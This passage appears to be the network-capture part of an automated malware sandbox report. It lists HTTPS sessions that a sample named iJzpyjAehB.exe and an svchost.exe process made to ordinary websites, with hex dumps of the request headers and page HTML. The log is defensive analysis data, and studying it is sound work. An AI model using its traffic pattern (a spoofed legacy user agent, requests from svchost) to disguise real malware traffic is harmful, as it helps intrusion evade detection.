2023-03-10 06:56:16 UTC	691	IN	Data Raw: 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 2f 61 72 74 69 63 6c 65 3e 0d 0a 20 20 20 20 20 0d 0a 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 20 20 20 20 0d 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 21 2d 2d 20 20 74 6f 70 6e 65 77 73 2e 20 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 20 63 6f 6e 74 65 6e 74 20 20 2d 2d 0d 0a 32 30 30 30 0d 0a 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 20 0d 0a 20 20 3c 21 2d 2d 20 20 63 6f 6e 74 65 6e 74 2d 6c 65 66 74 20 20 2d 2d 3e 0d 0a 20 20 3c 61 72 74 69 63 6c 65 20 69 64 3d 22 77 74 78 74 22 20 63 6c 61 73 73 3d 22 6d 61 69 6e 4c 65 66 74 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 20 61 6b 74 75 61 6c Data Ascii: </div> </div> </article> </section> </section></div>... topnews. -->... content --2000><div id="content"> ... content-left --> <article id="wtxt" class="mainLeft"> ... aktual
2023-03-10 06:56:16 UTC	707	IN	Data Raw: 74 3a 31 37 39 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 22 3e 3c 61 20 68 72 65 66 3d 22 2f 77 32 30 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2c 5a 6f 73 74 61 6e 2d 6a 65 64 6e 79 6d 2d 7a 2d 6e 61 73 2d 50 52 41 43 41 2d 57 2d 50 4f 4c 49 43 4a 49 2e 68 74 6d 6c 22 20 74 61 72 67 65 74 3d 22 5f 74 6f 70 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 64 6f 6b 75 6d 65 6e 74 79 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2e 6a 70 67 3f 0d 0a 31 30 30 30 0d 0a 76 3d 31 36 35 37 31 31 32 36 31 38 22 20 61 6c 74 3d 22 5a 6f 73 74 61 c5 84 20 6a 65 64 6e 79 6d 20 7a 20 6e 61 73 20 2d 20 50 52 41 43 41 20 57 20 50 4f 4c 49 43 4a 49 22 20 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0a 09 09 0a 09 0a 09 09 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 74 65 6d 22 Data Ascii: t:179px;margin-bottom:10px"><a href="/w20/batony/4596,Zostan-jednym-z-nas-PRACA-W-POLICJI.html" target="_top"><img src="/dokumenty/batony/4596.jpg?1000v=1657112618" alt="Zosta jednym z nas - PRACA W POLICJI" /></a></div><div class="item"
2023-03-10 06:56:16 UTC	723	IN	Data Raw: 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 2f 66 6f 6f 74 65 72 3e 0d 0a 20 20 20 20 20 20 3c 21 2d 2d 20 66 6f 6f 74 65 72 20 2e 2d 2d 3e 0d 0a 20 20 20 20 20 0d 0a 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 54 6f 54 6f 70 20 20 2d 2d 3e 0d 0a 20 20 09 3c 64 69 76 20 69 64 3d 22 62 61 63 6b 2d 74 6f 2d 74 6f 70 22 3e 3c 61 20 68 72 65 66 3d 22 23 70 61 67 65 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 0d 0a 61 34 0d 0a 63 6c 61 73 73 3d 22 73 72 2d 6f 6e 6c 79 22 3e 50 6f 77 72 c3 b3 74 20 6e 61 20 67 c3 b3 72 c4 99 20 73 74 72 6f 6e 79 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0d 0a 20 20 09 3c 21 2d 2d 20 47 6f 54 6f 54 6f 70 20 20 2e 2d Data Ascii: div> </div> </footer> ... footer .--> </div> ... GoToTop --> <div id="back-to-top"><a href="#page"><span></span><span a4class="sr-only">Powrt na gr strony</span></a></div> ... GoToTop .-

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.6	55012	188.114.96.3	443	C:\Users\user\Desktop\iJzpyjAehB.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:16 UTC	672	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: hyab.se
2023-03-10 06:56:16 UTC	674	IN	HTTP/1.1 302 Found Date: Fri, 10 Mar 2023 06:56:16 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Location: https://hyab.com Cache-Control: max-age=600 Expires: Fri, 10 Mar 2023 07:06:16 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=sfUE76F9Aak6awLMnHOgRJ15JLBI3QctJfcF6ZQFJtTxIFN%2FBfgBBjizvzGD2FACljmlyd7JmT9SrzHevdbB%2FYf69NtPznuSA3oCE4mUPDi5OtmCSsPIKiXm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a8280ecd9bbc-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:16 UTC	675	IN	Data Raw: 63 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 79 61 62 2e 63 6f 6d 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: c8<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://hyab.com">here</a>.</p></body></html>
2023-03-10 06:56:16 UTC	675	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.6	55016	172.67.156.49	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:16 UTC	672	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: orlyhotel.com Cookie: django_language=en
2023-03-10 06:56:16 UTC	724	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 10 Mar 2023 06:56:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Cache-Control: max-age=0, no-store, no-cache, must-revalidate Expires: Fri, 10 Mar 2023 06:46:21 GMT Content-Language: en Last-Modified: Fri, 10 Mar 2023 06:46:21 GMT X-Frame-Options: SAMEORIGIN Vary: Accept-Language CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=euxLt5Np6r%2B605VTXwKEQ5TgtwuXUqUv1VvM%2Ftu5U%2Bb5WdiNf5A7jSBUz%2BCV6QjNUXOBhrVmVPJo%2FV2ig8bN8mlGjYsWk4pgaW9TqRGeJS7OPIP3oyJo5BkbGiIipLF8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a8282ff92c21-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:16 UTC	725	IN	Data Raw: 31 62 0d 0a 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 20 28 35 30 30 29 3c 2f 68 31 3e 0d 0a Data Ascii: 1b<h1>Server Error (500)</h1>
2023-03-10 06:56:16 UTC	725	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.6	50343	91.229.22.126	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:55:59 UTC	0	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: pleszew.policja.gov.pl
2023-03-10 06:55:59 UTC	53	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Mar 2023 06:56:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2023-03-10 06:55:59 UTC	53	IN	Data Raw: 31 66 63 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 6c 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 49 6e 64 65 78 2c 20 46 6f 6c 6c 6f 77 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 50 50 20 50 6c 65 Data Ascii: 1fc0<!DOCTYPE html><html lang="pl"> <head> <meta charset="UTF-8"/> <meta name="description" content=" "/> <meta name="keywords" content=""/> <meta name="robots" content="Index, Follow"/> <meta name="author" content="KPP Ple
2023-03-10 06:55:59 UTC	69	IN	Data Raw: 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 2f 61 72 74 69 63 6c 65 3e 0d 0a 20 20 20 20 20 0d 0a 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 20 20 20 20 0d 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 21 2d 2d 20 20 74 6f 70 6e 65 77 73 2e 20 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 20 63 6f 6e 74 65 6e 74 20 20 2d 2d 0d 0a 32 30 30 30 0d 0a 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 20 0d 0a 20 20 3c 21 2d 2d 20 20 63 6f 6e 74 65 6e 74 2d 6c 65 66 74 20 20 2d 2d 3e 0d 0a 20 20 3c 61 72 74 69 63 6c 65 20 69 64 3d 22 77 74 78 74 22 20 63 6c 61 73 73 3d 22 6d 61 69 6e 4c 65 66 74 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 20 61 6b 74 75 61 6c Data Ascii: </div> </div> </article> </section> </section></div>... topnews. -->... content --2000><div id="content"> ... content-left --> <article id="wtxt" class="mainLeft"> ... aktual
2023-03-10 06:55:59 UTC	85	IN	Data Raw: 74 3a 31 37 39 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 22 3e 3c 61 20 68 72 65 66 3d 22 2f 77 32 30 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2c 5a 6f 73 74 61 6e 2d 6a 65 64 6e 79 6d 2d 7a 2d 6e 61 73 2d 50 52 41 43 41 2d 57 2d 50 4f 4c 49 43 4a 49 2e 68 74 6d 6c 22 20 74 61 72 67 65 74 3d 22 5f 74 6f 70 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 64 6f 6b 75 6d 65 6e 74 79 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2e 6a 70 67 3f 0d 0a 31 30 30 30 0d 0a 76 3d 31 36 35 37 31 31 32 36 31 38 22 20 61 6c 74 3d 22 5a 6f 73 74 61 c5 84 20 6a 65 64 6e 79 6d 20 7a 20 6e 61 73 20 2d 20 50 52 41 43 41 20 57 20 50 4f 4c 49 43 4a 49 22 20 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0a 09 09 0a 09 0a 09 09 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 74 65 6d 22 Data Ascii: t:179px;margin-bottom:10px"><a href="/w20/batony/4596,Zostan-jednym-z-nas-PRACA-W-POLICJI.html" target="_top"><img src="/dokumenty/batony/4596.jpg?1000v=1657112618" alt="Zosta jednym z nas - PRACA W POLICJI" /></a></div><div class="item"
2023-03-10 06:55:59 UTC	101	IN	Data Raw: 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 2f 66 6f 6f 74 65 72 3e 0d 0a 20 20 20 20 20 20 3c 21 2d 2d 20 66 6f 6f 74 65 72 20 2e 2d 2d 3e 0d 0a 20 20 20 20 20 0d 0a 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 54 6f 54 6f 70 20 20 2d 2d 3e 0d 0a 20 20 09 3c 64 69 76 20 69 64 3d 22 62 61 63 6b 2d 74 6f 2d 74 6f 70 22 3e 3c 61 20 68 72 65 66 3d 22 23 70 61 67 65 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 0d 0a 61 34 0d 0a 63 6c 61 73 73 3d 22 73 72 2d 6f 6e 6c 79 22 3e 50 6f 77 72 c3 b3 74 20 6e 61 20 67 c3 b3 72 c4 99 20 73 74 72 6f 6e 79 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0d 0a 20 20 09 3c 21 2d 2d 20 47 6f 54 6f 54 6f 70 20 20 2e 2d Data Ascii: div> </div> </footer> ... footer .--> </div> ... GoToTop --> <div id="back-to-top"><a href="#page"><span></span><span a4class="sr-only">Powrt na gr strony</span></a></div> ... GoToTop .-

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.6	55014	83.223.113.46	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:16 UTC	673	OUT	GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: dataform.co.uk
2023-03-10 06:56:17 UTC	913	IN	HTTP/1.1 200 OK Cache-Control: must-revalidate, no-cache, max-age=0 Keep-Alive: timeout=2, max=97 Content-Length: 48940 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Vary: Accept-Encoding Server: Apache Access-Control-Allow-Headers: mobileappversionnumber, x-requested-with Access-Control-Allow-Origin: * X-Powered-By: PHP/7.0.29 X-UA-Compatible: IE=EmulateIE10 X-Frame-Options: SAMEORIGIN X-Mod-Pagespeed: 1.9.32.14-0 Strict-Transport-Security: max-age=10886400 X-Powered-By: ASP.NET Date: Fri, 10 Mar 2023 06:56:16 GMT Connection: close
2023-03-10 06:56:17 UTC	913	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 36 29 20 7c 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 3e 0a 09 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if !(IE 6) \| !(IE 7) \| !(IE 8) ]>...><html lang="en-US" class="no-js">...<![endif]--><head><meta charset="UTF-8"/><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0"> <
2023-03-10 06:56:17 UTC	917	IN	Data Raw: 65 61 64 79 43 61 6c 6c 62 61 63 6b 28 29 7d 2c 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 28 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 6e 2c 21 31 29 2c 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 6e 2c 21 31 29 29 3a 28 65 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 6c 6f 61 64 22 2c 6e 29 2c 61 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 22 63 6f 6d 70 6c 65 74 65 22 3d 3d 3d 61 2e 72 65 61 64 79 53 74 61 74 65 26 26 74 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 28 29 7d 29 29 2c 28 6e 3d 74 2e 73 6f 75 72 63 65 7c 7c 7b 7d 29 2e 63 6f 6e 63 Data Ascii: eadyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload",n),a.attachEvent("onreadystatechange",function(){"complete"===a.readyState&&t.readyCallback()})),(n=t.source\|\|{}).conc
2023-03-10 06:56:17 UTC	925	IN	Data Raw: 20 30 2e 34 20 30 2e 38 3b 30 2e 32 20 30 2e 38 20 30 2e 34 20 30 2e 38 27 20 63 61 6c 63 4d 6f 64 65 3d 27 73 70 6c 69 6e 65 27 20 20 2f 25 33 45 20 20 20 25 33 43 2f 70 61 74 68 25 33 45 20 20 20 25 33 43 70 61 74 68 20 74 72 61 6e 73 66 6f 72 6d 3d 27 74 72 61 6e 73 6c 61 74 65 28 31 34 29 27 20 64 3d 27 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 27 25 33 45 20 20 20 20 20 25 33 43 61 6e 69 6d 61 74 65 20 61 74 74 72 69 62 75 74 65 4e 61 6d 65 3d 27 64 27 20 76 61 6c 75 65 73 3d 27 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 3b 20 4d 30 20 34 20 56 32 38 20 48 34 20 56 34 7a 3b 20 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 3b 20 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 27 20 64 75 72 3d 27 31 2e 32 73 27 20 72 65 70 65 Data Ascii: 0.4 0.8;0.2 0.8 0.4 0.8' calcMode='spline' /%3E %3C/path%3E %3Cpath transform='translate(14)' d='M0 12 V20 H4 V12z'%3E %3Canimate attributeName='d' values='M0 12 V20 H4 V12z; M0 4 V28 H4 V4z; M0 12 V20 H4 V12z; M0 12 V20 H4 V12z' dur='1.2s' repe
2023-03-10 06:56:17 UTC	933	IN	Data Raw: 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 72 65 76 73 6c 69 64 65 72 2f 70 75 62 6c 69 63 2f 61 73 73 65 74 73 2f 6a 73 2f 6a 71 75 65 72 79 2e 74 68 65 6d 65 70 75 6e 63 68 2e 72 65 76 6f 6c 75 74 69 6f 6e 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 35 2e 34 2e 38 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3e 2f 2f 3c 21 5b 43 44 41 54 41 5b 0a 76 61 72 20 77 63 5f 61 64 64 5f 74 6f 5f 63 61 72 74 5f 70 61 72 61 6d 73 3d 7b 22 61 6a 61 78 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 5c 2f 77 70 2d 61 64 6d 69 6e 5c 2f 61 Data Ascii: ipt' src='https://dataform.co.uk/wp-content/plugins/revslider/public/assets/js/jquery.themepunch.revolution.min.js?ver=5.4.8'></script><script type='text/javascript'>//<![CDATA[var wc_add_to_cart_params={"ajax_url":"https:\/\/dataform.co.uk\/wp-admin\/a
2023-03-10 06:56:17 UTC	941	IN	Data Raw: 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 30 31 2f 44 46 2d 69 63 6f 6e 2d 6c 6f 67 6f 2e 73 76 67 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 30 31 2f 44 46 2d 69 63 6f 6e 2d 6c 6f 67 6f 2e 73 76 67 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 32 30 78 31 32 30 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b Data Ascii: ps://dataform.co.uk/wp-content/uploads/2023/01/DF-icon-logo.svg"><link rel="apple-touch-icon" sizes="76x76" href="https://dataform.co.uk/wp-content/uploads/2023/01/DF-icon-logo.svg"><link rel="apple-touch-icon" sizes="120x120" href="https://dataform.co.uk
2023-03-10 06:56:17 UTC	949	IN	Data Raw: 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 35 34 30 34 30 22 3e 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 70 72 69 63 69 6e 67 2f 27 20 64 61 74 61 2d 6c 65 76 65 6c 3d 27 31 27 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 74 65 78 74 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 74 65 78 74 22 3e 50 72 69 63 69 6e 67 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 Data Ascii: menu-item-object-page menu-item-54040"><a href='https://dataform.co.uk/pricing/' data-level='1'><span class="menu-item-text"><span class="menu-text">Pricing</span></span></a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-it
2023-03-10 06:56:17 UTC	957	IN	Data Raw: 66 6f 72 6d 2d 37 5c 2f 76 31 22 7d 7d 3b 0a 2f 2f 5d 5d 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 37 2f 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 73 63 72 69 70 74 73 2e 6a 73 3f 76 65 72 3d 35 2e 31 2e 33 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 67 6f 5f 70 72 69 63 69 6e 67 Data Ascii: form-7\/v1"}};//...</script><script type='text/javascript' src='https://dataform.co.uk/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.1.3'></script><script type='text/javascript' src='https://dataform.co.uk/wp-content/plugins/go_pricing

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.6	55069	188.114.96.3	443	C:\Users\user\Desktop\iJzpyjAehB.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:16 UTC	674	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: hyab.se
2023-03-10 06:56:16 UTC	723	IN	HTTP/1.1 302 Found Date: Fri, 10 Mar 2023 06:56:16 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Location: https://hyab.com Cache-Control: max-age=600 Expires: Fri, 10 Mar 2023 07:06:16 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=J2bzrk5jV928u60v1GiZB%2BtB%2FVL4H3sj4fmQKz2phmj4sBTh34tF3khQ6JEn%2FQkmWqIwA5enoA4IVFlaQySTayOxUoAZtQ17rRrl8eqjO8DPQOrCAcQ8lbX1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a8289f41bbda-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:16 UTC	724	IN	Data Raw: 63 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 79 61 62 2e 63 6f 6d 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: c8<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 